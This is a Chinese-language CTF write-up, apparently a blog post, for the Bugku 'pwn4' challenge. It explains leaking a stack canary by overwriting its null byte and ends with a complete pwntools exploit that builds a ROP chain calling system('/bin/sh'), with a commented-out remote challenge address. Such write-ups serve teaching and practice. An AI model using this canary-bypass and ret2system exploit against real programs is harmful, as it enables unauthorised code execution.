Bugku pwn4

这题不难,倒是之前太久没学pwn了,一拿到题目还有点不知所措,没反应过来怎么绕过Canary。 也是后来看到别人的提示才想起来。覆盖canary末尾的/x00,再用后面的printf输出Canary就行了。

题目拿下来先checksec:
file
64位的,开了Canary和NX
file
源码很简单,有两次read栈溢出,但是需要绕过Canary
绕过方式就是,在第一个read处输入到覆盖canary末尾的\x00,后面的print会之间把canary输出来
注:canary的特性,通过末尾的\x00来截断参数,当\x00被覆盖后,canary也就变成了print参数的一部分。

GDB调试一下
file
先慢慢来,在main入口下个断点。n单步下去
file
这里看见第一个read,输入参数后查看一下栈布局
file
这里就能看见输入的参数到canary的情况了,计算得知需要0x238个字节覆盖到canary末尾

这个偏移及可以在用 x 看内存布局来算,也能在栈上看出来,当然最直接的还是IDA上得知变量为0x240大小再减canary的8来得到。
注:这里也能看出来我们给的参数是第二个,rsi的值,第一个参数是rid,已经写了"hello "

那么这题就差不多了,题目也给了system函数,ROPgadget也能找到"/bin/sh"
file
EXP:

#__coding:utf-8__
from pwn import *
context.log_level = 'debug'
a=process('./pwn4')
#a=remote('114.67.246.176',16999)
rid = 0x0000000000400963
bin_sh = 0x0000000000601068
sys = 0x0000000000400660
payload1='a'*(0x240-8)
a.recvuntil('Please leave your name(Within 36 Length):')
#a.sendlineafter('Please leave your name(Within 36 Length):',payload)
a.sendline(payload1)
a.recvline()
canary=a.recv(7).rjust(8, '\x00') #补齐8字节canary
print(canary)
payload2 = 'a'*0x208 + canary + 'a'*8 + p64(rid) + p64(bin_sh) + p64(sys)
a.recvuntil('Please leave a message(Within 0x200 Length):')
a.sendline(payload2)
a.interactive()

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据